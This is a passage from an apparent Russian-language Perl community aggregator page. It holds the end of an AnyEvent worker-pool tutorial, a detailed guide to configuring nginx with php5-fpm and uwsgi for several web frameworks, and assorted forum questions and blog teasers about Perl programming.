В зависимости от ситуации вместо строки может быть всё, что угодно - имя файла, идентификатор записи в базе, математическое выражение, ссылка на сложную структуру с данными... короче говоря - всё, что угодно. Пулу без разницы, что это будет, он не обрабатывает это значение. Пул просто передает это значение воркеру, а вот тот уже должен знать, что с этим делать.

Запуск движка

-------
AnyEvent->condvar->recv;
-------

Эта строка говорит модулю AnyEvent, что нужно запустить в работу событийный движок и далее работать бесконечно.

В этом месте скрипт зациклится. Приведенный пример не имеет способа остановки и выхода из бесконечного цикла обработки задач. Вопрос условного выхода из цикла AnyEvent является более общим, а я здесь хочу рассмотреть только частный случай использования пула. Про условный выход из цикла можно почитать тут.


Сам воркер

Теперь возникает вопрос - а где же, собственно, сам воркер? Где код, исполняющий непосредственно работу?


Этот код вынесен в отдельный модуль, который мы указали в переменной $mod.

Вот код модуля Worker:

-------
package Worker;

use strict;
use warnings;

my $file;

sub init {
  open $file, '>>', 'file.txt';

  my $q = select($file);
  $|=1;
  select($q);

  return;
}

sub work {
  my ($str) = @_;

  for (1..length($str)) {
      print $file "$$ $str\n";
      sleep 1;
  };

  return $str, length($str);
}

1;
-------

Как видите, в модуле две функции - init и work.

Функция init инициализирует воркер. В нашем случае функция открывает лог-файл, в который далее будут выводиться результаты работы рабочей функции work. Как уже говорилось выше - функция init является необязательной, в нашем случае я сделал ее просто для наглядности.

Функция work - это главная функция. Это та самая рабочая функция, которая была задана в переменной $sub. Именно в этой функции выполняется вся работа, связанная с выполнением конкретной задачи.

В нашем случае функция выполняет простейшую работу - вычисляет длину строки. Для более наглядной демонстрации работы воркера я добавил в функцию цикл с секундной задержкой, который выводит строку в лог столько раз, сколько в строке букв.

Обратите внимание - функция возвращает два значения - саму строку и ее длину. Именно эти два значения будут переданы в коллбэк, заданный на этапе постановки задач пулу (а в коллбэке, как говорилось выше, эти значения будут просто напечатаны).

Вот, собственно, и весь код.

Запускаем пул

Теперь запустим наш пул и посмотрим, что получится:




Тут мы видим результаты работы пула. Можно заметить, что порядок вывода результатов отличается от порядка строк, заданного в цикле в скрипте. Причина понятна - у строк разная длина, поэтому воркеры обрабатывают строки с разной скоростью. Чем проще задача - тем она быстрее выполняется.

Теперь посмотрим не просто на результаты, но и на процесс работы воркеров. Для этого во втором окне запустим tail для лог-файла:



Обратите внимание - результаты работы выводятся вперемешку, так-как задачи выполняются одновременно. Слева видны идентификаторы процессов - видим, что задействованы 4 процесса. У меня в системе 4 ядра, поэтому одновременно выполняются все 4 задачи.

И, наконец, посмотрим на таблицу процессов:



Так выглядит дерево процессов нашего пула.

Первым в списке идет скрипт, далее менеджер пулов (да-да, пулов может быть несколько штук), потом менеджер пула, и, наконец, воркеры.

Если не полениться и сравнить идентификаторы процессов, то можно увидеть, что идентификаторы воркеров совпадают с идентификаторами в лог-файле.

Литература

Понедельник, 25 августа

Сообщество ru_perl в LiveJournal: Проблемы с Active Perl под Win7

До этого Active Perl не пользовался. Работал в Линуксе или Cygwine
Взял скриптик, работающий в Cygwin и запустил из виндовского окошка под Active Perl. Все отработало нормально, но в конце выскочило окошко с надписью "perl command line interpreter has stopped working". Ну и "windows is checking for a solution to the problem"
Потом вторая надпись меняется на "A problem caused the program to stop working correctly. Windows will close the program and notify you if a solution is available"
7-е винды, 64 бита. Перл - 32-битный. Так вышло,что есть 32-битные системы, а потому и перл 32-битный

Есть какие-то идеи,как убрать эту ошибку?
Заранее спасибо

Воскресенье, 24 августа

Ещё один блог сисадмина: Настройка nginx, php5-fpm и uwsgi

До недавнего времени я долгое время пользовался веб-сервером Lighttpd, который меня во всём устраивал. Но сейчас я стал пользоваться nginx, хотя сам nginx на такой выбор непосредственно не повлиял. Но, обо всём по порядку.

1. Менеджер процессов php5-fpm

В начале года я заинтересовался менеджером процессов php5-fpm для обслуживания приложений на PHP. Он обладает большим количеством приятных преимуществ, основанных на так называемых пулах. Пул - это группа процессов, выделенная для обработки запросов, поступающих на определённый порт или Unix-сокет. Для каждого пула действует своя политика управления процессами:

  • static - строго постоянное количество процессов-обработчиков,
  • dynamic - переменное количество обработчиков, для которых указывается минимальное и максимальное количество процессов, а также количество процессов-обработчиков "на подхвате", которые держатся готовыми на случай внезапного наплыва нагрузки, чтобы не терять время на порождение новых процессов-обработчиков,
  • ondemand - режим, при котором обработчики порождаются только при поступлении запросов и завершаются спустя указанный период простоя.
Каждый пул может быть запущен от имени отдельного пользователя, так что можно легко изолировать несколько приложений друг от друга. Кроме того, даже если пулы работают от имени одного и того же пользователя, разделение приложений по пулам позволяет предотвратить ситуацию, когда высоконагруженное приложение постоянно держит занятыми процессы-обработчики, не давая таким образом нормально работать лёгким интерактивным приложениям.

Ну и самое приятное заключается в том, что для каждого из пулов можно задавать разные настройки PHP или вообще строго фиксировать их, запрещая приложению менять эти настройки самостоятельно. Например, какое-то приложение может требовать для работы много памяти (веб-интерфейс Zabbix, например), другое может долго формировать страницу (например, какое-то веб-приложение, формирующее отчёт), третьему нужно ограничить таймауты подключения к базе данных или время ожидания данных из сокета. В таком случае каждому приложению можно выделить отдельный пул и задать отдельные настройки.

Благодаря своим особенностям php5-fpm очень хорошо подходит для виртуального хостинга, когда на одном сервере может обслуживаться множество приложений разных пользователей. Думаю, что это уже понятно.

Однако, php5-fpm можно хорошо использовать и совместно с Lighttpd. Lighttpd даже в чём-то проще. Например, при совместной работе php5-fpm и Lighttpd мне не приходилось настраивать размеры буферов для чтения заголовков ответов, что может понадобиться сделать при использовании nginx и какого-то приложения, устанавливающего большое количество cookie. Если вам требуется запускать только приложения, написанные на PHP, то связка Lighttpd и php5-fpm может оказаться оптимальным выбором, особенно если вы уже знакомы с Lighttpd.

2. Сервер uwsgi

Позже мне потребовалось запускать веб-приложения, написанные на веб-фреймворках на языках Python и Perl. В этих веб-фреймворках приложение в конечном итоге представляет собой объект, поддерживающий интерфейсы WSGI или PSGI соответственно. Я уже пользовался веб-серверами, которые реализуют HTTP-интерфейс для приложений WSGI и PSGI - это были flup и starman. Оба веб-сервера мне не понравились своей требовательностью к ресурсам, поскольку они написаны на соответствующих интерпретируемых языках, а также необходимостью под каждое веб-приложение создавать отдельный скрипт инициализации. Этих проблем был лишён найденный сервер uwsgi, который написан на Си, имеет удобный сценарий инициализации и позволяет запускать веб-приложения с интерфейсом WSGI и PSGI. С его помощью можно даже запускать приложения Rack, написанные на Ruby. Один недостаток - снаружи он предоставляет не HTTP-интерфейс, а всё тот же WSGI.

Совместно с uwsgi умеет работать nginx, так что выбор такой связки был предопределён. Осталось решить последний вопрос - как запускать классические CGI-приложения? Поначалу я думал воспользоваться сервером spawn-fcgi или fcgiwrap, но потом нашёл CGI-плагин для uwsgi, так что для запуска любого веб-приложения оказалось достаточно лишь php5-fpm и uwsgi, которыми ещё и очень удобно управлять. Несмотря на то, что в uwsgi имеется возможность обслуживать запросы к приложениям на PHP, я всё же предпочёл использовать для PHP сервер php5-fpm, обладающий большим количеством настроек, позволяющих получить больший контроль над PHP-приложениями.

Именно таким образом я и пришёл к решению сменить привычный мне веб-сервер Lighttpd на связку nginx + php5-fpm + uwsgi. В 2008 я перешёл от использования Apache на Lighttpd, в 2014 я сменил Lighttpd на nginx. С тех пор понимание того, каким должен быть хороший веб-сервер кардинально изменилось. Если раньше это был комбайн, в котором было довольно тяжело ориентироваться, то теперь это несколько взаимодействующих программ, каждая из которых очень наглядна, быстро осваивается, радует удобством и скоростью работы.

3. Установка пакетов

Если вы планируете использовать nginx только совместно с php5-fpm, то установить потребуется только два пакета - легкий nginx и сам менеджер процессов:
# apt-get install nginx-lite php5-fpm
Если же вы планируете использовать uwsgi, то вам нужна полная версия nginx и uwsgi-сервер:
# apt-get install nginx-full uwsgi
Дополнительно, в зависимости от того, какие приложения вы собираетесь запускать под управлением uwsgi, вам может понадобиться один или несколько дополнительных пакетов. Для поддержки выполнения CGI-скриптов при помощи uwsgi установите пакет с соответствующим модулем:
# apt-get install uwsgi-plugin-cgi
Если вы планируете запускать Perl-приложения с интерфейсом PSGI, то вам понадобится модуль для поддержки соответствующего протокола:
# apt-get install uwsgi-plugin-psgi
Наконец, uwsgi можно использовать и для запуска WSGI-приложений, написанных на Python. Для этого нужен модуль, называющийся... python:
# apt-get install uwsgi-plugin-python
4. Заготовка файла конфигурации nginx

Создадим заготовку файла конфигурации /etc/nginx/sites-enabled/default:
server {
listen 0.0.0.0:80;
# server_name info.domain.tld;

root /var/www;
index index.html index.php index.pl;
}
В последующих разделах приводятся небольшие фрагменты, которые можно добавить внутрь секции server этой заготовки.

Здесь настраивается виртуальный сервер, принимающий подключения на TCP-порту 80 на любой настроенный на компьютере IP-адрес. Если необходимо выделить несколько виртуальных веб-серверов, работающих на разных IP-адресах, можно создать несколько секций, указав в каждой из них соответствующий IP-адрес.

Если необходимо запустить на одном IP-адресе виртуальные серверы, отличающиеся доменным именем, то можно раскомментировать опцию server_name и указать одно или несколько доменных имён через пробел. Один из таких серверов можно отметить как сервер по умолчанию при помощи ключевого слова default в опции listen в самом её конце - на него будут поступать запросы, для которых не удалось найти секцию с подходящим доменным именем, но поступившие на этот IP-адрес.

Опция root задаёт каталог, из которого будут браться запрошенные файлы. Если имя конкретного файла не указано, а указан лишь каталог, то будут перебираться по очереди имена, указанные в опции index. Первый же существующий файл будет отдан клиенту или обработан как приложение (в зависимости от настроек из последующих секций).

5. CGI-приложения на PHP

Для выполнения приложений на PHP воспользуемся уже упомянутым сервером php-fpm. Создадим файл с описанием пула, который будет обрабатывать запросы к PHP-файлам. Для этого создадим файл /etc/php5/fpm/pool.d/default.conf или приведём имеющийся файл к следующему виду:
; Имя пула
[default]

; Рабочие процессы пула будут работать от имени указанного пользователя и группы
user = www-data
group = www-data

; Пул будет ожидать запросы на указанном Unix-сокете
listen = /var/run/php.sock

; Владелец Unix-сокета, его группа и права доступа к сокету
listen.owner = www-data
listen.group = www-data
listen.mode = 0660

; Динамический менеджер рабочих процессов будет поддерживать от 10 до 30 процессов,
; из которых от 5 до 10 могут простаивать в ожидании поступления новых запросов.
; Если простаивающих процессов будет меньше 5 - будут порождены новые процессы,
; если простаивающих процессов окажется больше 10 - лишние будут завершены
pm = dynamic
pm.max_children = 30
pm.start_servers = 10
pm.min_spare_servers = 5
pm.max_spare_servers = 10

; Тут можно ограничить количество запросов, последовательно обслуживаемых одним процессом
; После этого процесс будет завершён и запущен снова - это может помочь от утечек памяти
;pm.max_requests = 500

; Если обработка одного запроса длится дольше трёх минут - обработка запроса принудительно завершается
request_terminate_timeout = 180s

; В этом файле можно вести журнал обработанных запросов
;access.log = /var/log/php5-fpm.access.log

; Тут можно задать настройки, которые обычно указывают в файле php.ini
; Разница в том, что эти настройки будут действовать не глобально, а только внутри пула
; Настройки php_admin нельзя поменять изнутри самого PHP-приложения
php_value[data.timezone] = Asia/Yekaterinburg
php_admin_flag[log_errors] = on
php_admin_value[error_log] = /var/log/php5-fpm.errors.log
;php_admin_value[memory_limit] = 128M
php_admin_value[mysql.connect_timeout] = 1
php5-fpm умеет перечитывать файлы конфигурации, соответствующим образом меняя состав пулов и их настройки, не трогая те пулы, настройки которых не поменялись:
# /etc/init.d/php5-fpm reload
Однако, если вам кажется, что настройки не вступили в силу, можно перезапустить php5-fpm целиком, чтобы он гарантированно прочитал и применил новые настройки пулов, полностью перезапустив их процессы:
# /etc/init.d/php5-fpm restart
Теперь нужно добавить в заготовку файл, например, со следующим содержимым:
location ~ ^/php/(base|index|logout|query)\.php$ {
fastcgi_pass unix:/var/run/php.sock;
include fastcgi_params;
}

location /php/static/ {
alias /usr/local/share/php/static/;
}
В первой секции location перечисляются файлы, запросы к которым будут обрабатываться созданным нами пулом процессов php5-fpm. Во второй секции location указан путь к статическим файлам, отдачей которых будет заниматься сам nginx.

Стоит отметить, что секции без регулярных выражений имеют приоритет над секциями с регулярными выражениями. Первые совпадают с каталогом и всеми подкаталогами и файлами внутри него, вторые - с файлами и каталогами, удовлетворяющими регулярным выражениям. Самым высоким приоритетом обладают секции со знаком =, которые указывают точное соответствие с файлом или каталогом, без подкаталогов.

Осталось перезапустить nginx, чтобы его новые настройки вступили в силу:
# /etc/init.d/nginx restart
nginx тоже умеет перезагружать обновлённую конфигурацию, однако рабочие процессы могут некоторое время продолжать работать со старой конфигурацией, пока не будут вытеснены новыми. Если это не критично, то перезагрузить его можно так:
# /etc/init.d/nginx reload
6. PHP-приложения на фреймворке CodeIgniter

Так получилось, что мой коллега на работе в своих приложениях на PHP использует веб-фреймворк CodeIgniter, который несколько необычно для PHP обрабатывает запросы. Все запросы обрабатываются одной страницей, которая уже сама учитывает таблицу маршрутов или непосредственно вызывает необходимые методы из классов контроллеров.

Прежде чем приступить к настройке nginx, сначала настроим само приложение - в файле application/config/config.php нужно прописать следующие настройки:
$config['base_url'] = '';
$config['index_page'] = '';
$config['uri_protocol'] = 'REQUEST_URI';
Первые две настройки не заданы, т.к. будет использоваться автоматическое их определение самим фреймворком.

Теперь пришла очередь nginx. Для обработки запросов к приложению будем использовать пул php5-fpm, настройка которого была описана в предыдущем разделе. В нашу заготовку файла конфигурации nginx /etc/nginx/sites-enabled/default.conf добавим следующие настройки:
location /ci/ {
fastcgi_pass unix:/var/run/php.sock;
include fastcgi_params;

fastcgi_buffer_size 64k;
fastcgi_buffers 8 64k;

fastcgi_param SCRIPT_FILENAME /usr/local/share/ci/index.php;
fastcgi_param SCRIPT_NAME /ci/index.php;

fastcgi_read_timeout 120s;
}

location /ci/data/ {
alias /usr/local/share/ci/data/;
}
В первой секции переопределяются некоторые настройки, значения по умолчанию которых нас не устраивают. Важно переопределять их после включения файла с настройками по умолчанию - иначе он сам переопределит заданные нами настройки.

Размеры буферов переопределены, поскольку CodeIgniter интенсивно использует cookie - заголовок запроса или ответа может получиться очень большим и не поместиться в буфер. В этом случае приложение может иногда работать, а иногда - не работать, в зависимости от того, какой объём имеют cookie.

Следующие опции указывают, какой файл будет обрабатывать запросы и помогут фреймворку автоматически определить значения опций base_url и index_page.

Наконец, последняя настройка указывает nginx'у, что ждать ответа от php5-fpm не стоит больше двух минут. В пуле php5-fpm определён таймаут в 3 минуты, так что в данном случае nginx отключится от php5-fpm первым, не дождавшись срабатывания таймаута в процессе-обработчике.

Не забудьте перезагрузить или перезапустить nginx:
# /etc/init.d/nginx restart
7. CGI-приложения на Perl

Запросы к CGI-приложениям может обслуживать uwsgi с модулем uwsgi-plugin-cgi. В uwsgi нет понятия пулов и нет единственного мастер-процесса, который бы шефствовал над остальными процессами. Вместо этого можно определить несколько раздельных файлов конфигурации, у каждого из которых будет собственный мастер-процесс. Централизованное управление мастер-процессами на данный момент осуществляется при помощи единого init-скрипта.

В новых версиях uwsgi появился режим emperor, который работает полностью аналогично php5-fpm - с одним мастер-процессом. Более того - он умеет обнаруживать появление новых файлов приложений или изменения в имеющихся файлах, поддерживая состав и настройки рабочих процессов актуальными. Однако, в Debian Wheezy эта новая версия uwsgi ещё не попала, поэтому я опишу текущее положение дел.

Определим настройки приложения в файле /etc/uwsgi/apps-enabled/cgi.ini:
[uwsgi]

; Имена рабочих процессов приложения и мастер-процесса
procname = uwsgi-cgi
procname-master = uwsgi-cgi-master

; Используемый плагин и его настройки: корень с файлами, обрабатываемые расширения,
; максимальное время обработки запроса скриптом
plugins = cgi
cgi = /var/www
cgi-allowed-ext = .pl
cgi-timeout = 120

; Рабочих процессов будет четыре - можно будет одновременно обслуживать не более 4 запросов,
; а последующие запросы будут вставать в очередь до освобождения одного из рабочих процессов
processes = 4
Теперь можно перезапустить все приложения или индивидуально - только что созданное:
# /etc/init.d/uwsgi restart
# /etc/init.d/uwsgi start cgi
После запуска нового приложения uwsgi создаст Unix-сокет /var/run/uwsgi/app/cgi/socket, где cgi - имя приложения. Кроме того, будет создан журнал работы приложения в файле /var/log/uwsgi/app/cgi.log, где cgi - опять то же имя приложения.

Задаём настройки nginx, вписав в заготовку файла конфигурации ещё один фрагмент:
location = /pl/index.pl {
uwsgi_pass unix:/var/run/uwsgi/app/cgi/socket;
include uwsgi_params;

# Модификатор для протокола CGI
uwsgi_modifier1 9;
# Скрипт, обрабатывающий запросы
uwsgi_param SCRIPT_FILENAME /usr/local/share/pl/index.pl;
}

location /pl/static/ {
alias /usr/local/share/pl/static/;
}
Значение опции uwsgi_modifier1 берётся из таблицы на странице The uwsgi Protocol. В данном случае используется протокол CGI, значение модификатора - 9.

Не забудьте перезагрузить или перезапустить nginx.

8. Perl с фреймворком Dancer

Для запуска PSGI-приложений под управлением uwsgi нужен файл, возвращающий объект PSGI. Для этого создадим файл приложения /usr/local/share/dancer/bin/app.psgi:
#!/usr/bin/perl

use Dancer;

...

setting apphandler => 'PSGI';

my $app = sub {
my $env = shift;
my $request = Dancer::Request->new(env => $env);
Dancer->dance($request);
};
На месте многоточия располагается тело приложения, где определяются обработчики страниц.

Теперь создадим файл конфигурации веб-приложения /etc/uwsgi/apps-enabled/dancer.ini со следующим содержимым:
[uwsgi]

; Имена рабочих процессов приложения и мастер-процесса
procname = uwsgi-dancer
procname-master = uwsgi-dancer-master

; Настраиваем плагин и задаём количество рабочих процессов
chdir = /usr/local/share/dancer
plugin = psgi
psgi = /usr/local/share/dancer/bin/app.psgi
; Приложение используется редко - запустим два рабочих процесса
processes = 2
Запустим новое веб-приложение:
# /etc/init.d/uwsgi start dancer
В заготовку конфигурации nginx добавим следующий фрагмент:
location ~ ^/dancer/ {
uwsgi_pass unix:/var/run/uwsgi/app/dancer/socket;
include uwsgi_params;

# Указываем модификатор для использования протокола PSGI
uwsgi_modifier1 5;
}

location /dancer/static/ {
alias /usr/local/share/dancer/static/;
}
Осталось перезапустить или перезагрузить nginx.

9. Python и приложение на Django в подкаталоге

При создании проекта Django генерируется файл wsgi.py, внутри которого создаётся WSGI-объект application. Для запуска Django-приложения через uwsgi создадим файл /etc/uwsgi/apps-enabled/dj1.ini с конфигурацией приложения:
[uwsgi]

; Имена рабочих процессов приложения и мастер-процесса
procname = uwsgi-dj1
procname-master = uwsgi-dj1-master

; В пакете на самом деле два плагина - python26 и python27, выбираем плагин python27
plugin = python27
; Каталог проекта Django
chdir = /usr/local/share/dj1
; Используем файл wsgi.py, в котором определяется WSGI-приложение application
module = wsgi:application
; Запустим шесть рабочих процессов
processes = 6
Запустим рабочие процессы приложения:
# /etc/init.d/uwsgi start dj1
А в заготовку конфигурации nginx добавим такой фрагмент:
location /dj1/ {
uwsgi_pass unix:/var/run/uwsgi/app/dj1/socket;
include uwsgi_params;

# Этот модификатор используется для протокола WSGI
uwsgi_modifier1 30;
# Имя скрипта будет вырезаться из URL перед маршрутизацией запроса
uwsgi_param SCRIPT_NAME /dj1;
}

location /dj1/static/ {
alias /usr/local/share/dj1/static/;
}
Осталось перезагрузить или перезапустить nginx.

10. Python и приложение на Django в корне

Создадим файл /etc/uwsgi/apps-enabled/dj2.ini с конфигурацией приложения (здесь всё аналогично предыдущему случаю):
[uwsgi]

; Имена рабочих процессов приложения и мастер-процесса
procname = uwsgi-dj2
procname-master = uwsgi-dj2-master

; В пакете на самом деле два плагина - python26 и python27, выбираем плагин python27
plugin = python27
; Каталог проекта Django
chdir = /usr/local/share/dj2
; Используем файл wsgi.py, в котором определяется WSGI-приложение application
module = wsgi:application
; Запустим шесть рабочих процессов
processes = 6
Запустим рабочие процессы приложения:
# /etc/init.d/uwsgi start dj2
В заготовку конфигурации nginx добавляем фрагмент:
# Здесь нужно перечислить все корневые страницы или подкаталоги со страницами приложения
location ~ ^/(admin|login|logout|app)(/|$) {
uwsgi_pass unix:/var/run/uwsgi/app/dj2/socket;
include uwsgi_params;
}

# Каталог со статическими файлами
location /static/ {
alias /usr/local/share/dj2/static/;
}

# Каталог со статическими файлами для админ-панели Django
location /static/admin/ {
alias /usr/lib/python2.7/dist-packages/django/contrib/admin/static/admin/;
}
Особенность в том, что модификатор в данном случае не используется, а в первой директиве location нужно перечислить все страницы, обработку которых нужно передавать в Django-приложение. Впрочем, если кроме этого приложения на сервере больше ничего нет и не будет, можно создать секцию для обработки корневого каталога.

Осталось перезагрузить или перезапустить nginx.

11. Python и веб-фреймворк Bottle

В случае с фреймворком Bottle всё аналогично Django. Разница лишь в том, что в Bottle нет генератора проекта, а потому создать объект WSGI-приложения придётся самостоятельно. Если же все маршруты вашего проекта определены в приложении по умолчанию, то достаточно в начало головного файла добавить импорт функции app из модуля фреймворка:
from bottle import app
И затем использовать эту функцию для создания экземпляра WSGI-объекта приложения. Для этого создадим файл /etc/uwsgi/apps-enabled/bottle.ini:
[uwsgi]

; Имена рабочих процессов приложения и мастер-процесса
procname = uwsgi-bottle
procname-master = uwsgi-bottle-master

; В пакете на самом деле два плагина - python26 и python27, выбираем плагин python27
plugin = python27
; Каталог приложения
chdir = /usr/local/share/bottle
; Используем файл main.py, в котором есть функция app, возвращающая экземпляр WSGI-приложения
module = main:app()
; Задаём количество рабочих процессов
processes = 2
Запустим рабочие процессы приложения:
# /etc/init.d/uwsgi start bottle
nginx настраивается аналогично одному из примеров для приложений Django, в зависимости от того, будет ли приложение доступно из каталога или из корня URL.

12. О безопасности

Не будьте беспечны - не помещайте ваши приложения в корневом каталоге веб-сервера и его подкаталогах! Потенциальный злоумышленник может догадаться об этом и скачать файлы с исходными текстами ваших приложений. Даже если он не найдёт там паролей для доступа, например, к базам данных или другим серверам, он может проанализировать код приложения и найти в нём уязвимости.

Пятница, 22 августа

Сообщество ru_perl в LiveJournal: Mojolicious & MongoDB.pm

Доброго времени суток. Какая-то фигня получается, туплю по не знанию.

Дергаю из mongoDB данные, кладу их в stash:

[code]

sub index {
my $self = shift;

my $client = MongoDB::MongoClient->new;
my $db = $client->get_database( 'articles' );
my $coll = $db->get_collection( 'articles' );

my $cursor = $coll->find({author => 'Marlik'});

while (my $row = $cursor->next) {

$self->stash(title => ($row->{title}));
$self->stash(body => ($row->{body}));
$self->stash(author => ($row->{author}));
$self->stash(datetime => ($row->{data}));

}
}
[/code]

Пытаюсь выловить их в шаблоне, предположительно кривым способом:

[code]

% layout 'default';
% title 'Главная';

<% for(1 .. 3){ %>


<%= $title %>

<%= $body %>

<%= $author %> <%= $datetime %>


<% } %>

[/code]

На выходе получаю последнюю запись в БД. Выводится три раза. Мне нужно вывести три последних записи. Что делаю не так? Спасибо.

Четверг, 21 августа

Блог программиста — Perl, Ruby, C#: Использование статики в Catalyst-приложении (плагин Static::Simple)

Мое тестовое catalyst-приложение начинает потихоньку развиваться и приобретать функциональность. Для создания интерфейса администратора я решила использовать jQuery UI и мне потребовалось добавить в шаблоны ссылки на статические файлы. Ссылки были добавлены, каждую из них catalyst попытался обработать и вернул 404. Решив, что с этой проблемой может столкнуться любой начинающий разработчик, решила написать небольшую заметку о […]

Вторник, 19 августа

Блог программиста — Perl, Ruby, C#: Взаимодействие Catalyst-приложения с внешним API. Пример 1

В дальнейшем хотелось бы найти время и рассмотреть несколько примеров взаимодействия Catalyst-приложения с внешними API. Например, API социальных сетей и авторизация с помощью OAuth (особенно заинтересовал Twitter), API платежных систем, API для совершения покупок он-лайн. Ниже — самый простой, односторонний, пример взаимодействия с внешней системой (строго говоря, это даже назвать API нельзя). Приведенный код строится […]

Вторник, 12 августа

Хабрахабр: Метки / perl: Функции в Perl


image

В Perl заложено огромное количество возможностей, которые, на первый взгляд, выглядят лишними, а в неопытных руках могут вообще приводить к появлению багов. Доходит до того, что многие программисты, регулярно пишущие на Perl, даже не подозревают о полном функционале этого языка! Причина этого, как нам кажется, заключается в низком качестве и сомнительном содержании литературы для быстрого старта в области программирования на Perl. Это не касается только книг с Ламой, Альпакой и Верблюдом («Learning Perl», «Intermediate Perl» и «Programming Perl») — мы настоятельно рекомендуем их прочитать.

В этой статье мы хотим подробно рассказать о маленьких хитростях работы с Perl, касающихся необычного использования функций, которые могут пригодится всем, кто интересуется этим языком.
Читать дальше →

Сообщество ru_perl в LiveJournal: Mojolicious templates

Доброго времени суток. Закавыка такая вот получается. Снес по ошибке все данные, пытаюсь восстанавливать по памяти. Речь о шаблонах в Моджо. Сделал сайт, трехколоночный - левый сайдбар, правый сайдбар и собсно контент. Мысль такова, в левом и правом сайдбарах хочу выводить последние записи, последние комментарии и т. д. то есть динамика. Ну а в контенте понятно что <%= content %>. Все это дело в обертке(layout). Сделал несколько страниц, сделал для них роуты, все работает, все отлично, переменные передаются в шаблон. Но в левый и правый сайдбар никак не могу передать переменную. Получается что только статика в сайдбарах может быть? Либо надо думать над роутами, то есть в каждом роуте передавать данные в сайдбары, но это как-то криво имхо. Ни через render, ни через stash ничего не попадает в шаблоны. Либо я туплю, либо уже все спать итить пора.


Спасибо всем кто останется неравнодушным.

Хабрахабр: Метки / perl: [Из песочницы] Автоматизация снятия показаний со счетчиков воды


Все знают, что лень двигатель прогресса. Так случилось и в моем случае.



В квартире присутствует 6 точек раздачи воды (3 холодные и 3 горячие). На каждой из точек стоит счетчик.
Каждые 2 счетчика спрятаны за люками скрытого монтажа, один из люков находится за зеркалом, которое нужно снять, чтобы до него добраться.

Раз в месяц с 20 по 25 число необходимо снимать показания со всех счетчиков и отправлять данные в Управляющую Компанию на бланке определенного образца.

В какой-то момент мне надоело открывать люки, снимать зеркало и было решено автоматизировать снятие показаний.
Читать дальше →

Вторник, 5 августа

Блог программиста — Perl, Ruby, C#: Использование MooseX::Singleton в Catalyst-приложении

Использование MooseX::Singleton в Catalyst-приложении на конкретном примере, при реализации работы с конфигурационными данными. Использование паттерна «Singleton» в Catalyst-приложении. Примеры кода. Примеры использования Class::Accessor. Синтаксис: package MyClass; use MooseX::Singleton; has config => ( is => 'rw' ); package main; use MyClass; my $instance = MyClass->instance; # можно вызвать MyClass->instance еще раз, будет возвращена ссылка # на […]

Воскресенье, 27 июля

koorchik's Perl blog: Фотографии с Perl-хакатона в Киеве (2014)

Четверг, 24 июля

Блог программиста — Perl, Ruby, C#: Ведение логов в Catalyst с помощью Log::Dispatch

Log::Dispatch помогает задать — насколько подробно будет осуществляться логирование. Будут ли выводиться в лог только критические ошибки, или будут включены и отладочные сообщения, или уровень, начиная с не критичных предупреждений. Кроме того, с помощью Log::Dispatch удобно задавать объекты для вывода сообщений. Пример использования Log::Dispatch в Catalyst-приложении Как создать Catalyst-приложение с нуля >> app::Log.pm : package […]

perl | Misc: Качалка видео для Collegehumor

Если вы задаетесь вопросом, почему на блоге ничего нового нет? То всё просто - dx умотал в Сиэтл и вернулся оттуда только на днях, именно поэтому вы еще не видели новый PHP обфускатор, обновление PE Bliss и прочие классные вещи. По приезду dx отправился на свой любимый ресурс, Collegehumor, чтобы посмотреть какое-нибудь смешное видео и, […]

Вторник, 15 июля

Хабрахабр: Метки / perl: Как устроена система SMSDirect


image

Здравствуйте, хабражители!

Прочитав здесь о сравнении смс-сервисов для рассылок, мы решили рассказать вам о своем опыте построении подобной системы, которая верой и правдой служит нам несколько лет и постоянно дорабатывается и совершенствуется. Надеемся, наш опыт будет вам полезен. В общем, тем, кому интересно, прошу под кат.
Подробности

Понедельник, 14 июля

Меркантильный гуру: CTPP

И снова меня мучает вопрос - на что бы перейти с CTPP?

Ибо, например, оказалось, что мне очень нужно сделать TMPL_foreach по циклу, название которого не прописано явно в шаблоне, но содержится в другой переменной, которая будет передана шаблонизатору.

Адски нехватает TMPL_macro, и кучи разных мелочей.

При этом сам CTPP сейчас стабилен от слова стабильность и глядя в комитты и открытые тикеты всё ясно.

(для тех, кто меня не знает или не читает, но увидит этот пост в рсс - не надо предлагать TT, ep и прочий треш, особенно если вы не понимаете, почему люди используют CTPP)

upd: и да, не надо предлагать Tenjin. Потому что, для начала, это такой монстр на который вообще непонятно как переходить (хотя там есть плагин для синтаксиса HTML::Template и его, наверное, можно было бы руками допилить), а для конца - судя по странице проекта - там не меньшая стабильность в лучших японских традициях

Пятница, 11 июля

Catalyst - MVC Perl Framework: Содержание

XPoint.ru | Программирование::Perl::Основы: Не равны одинаковые строки

Столкнулся со странной проблемой. Одинаковые строки не равны с точки зрения Perl.
Суть: получаю подпись от платежной формы - это md5_hex-строка в base64. Генерирую ее же в скрипте и просто сравниваю.
Визуально одинаковые строки не проходят проверку if($sign eq $signencoded){}
Почему

'Zjk5NTY0NDExMGI3NTgxNTZhNGYxYzI4YmEwOGZjNTk=' ne
'Zjk5NTY0NDExMGI3NTgxNTZhNGYxYzI4YmEwOGZjNTk='

?

Вторник, 8 июля

Хабрахабр: Метки / perl: Обзор Komodo Edit и Komodo IDE 8


Привет. На хабре много обзоров различных сред разработки, но совсем мало информации про Komodo Edit и Komodo IDE.
Я пользуюсь Komodo с 2010 года и за это время вышло несколько мажорных релизов и хочу с вами поделиться кратким обзором основных возможностей.



Komodo Edit — это кросс-платформенный текстовый редактор, который построен на движке Mozilla, поддерживает большое количество языков. Проект является полностью открытым и распространяется под лицензией MPL (Mozilla Public License). Разработка проекта ведется на GitHub.
Как и у всех, есть авто-дополнение со справочной информацией, поддержка плагинов, макросы, сниппеты.
Главная фича, которая мне понравилась, это удаленное редактирование кода, подобно Sublime если прикрутить к нему плагины для работы по SFTP. В восьмой версии также появился визуальный скроллинг, аналогично тому, который есть в Sublime.

Читать дальше →

Понедельник, 7 июля

Мини-портал Perl на Opennet: Семнадцатый выпуск журнала Pragmatic Perl

Представлен семнадцатый выпуск Pragmatic Perl, русскоязычного журнала о современном языке программирования Perl.

Мета

Поиск

Участники

Список участников в формате OPML OPML

Добавить сайт

По-другому

Приборы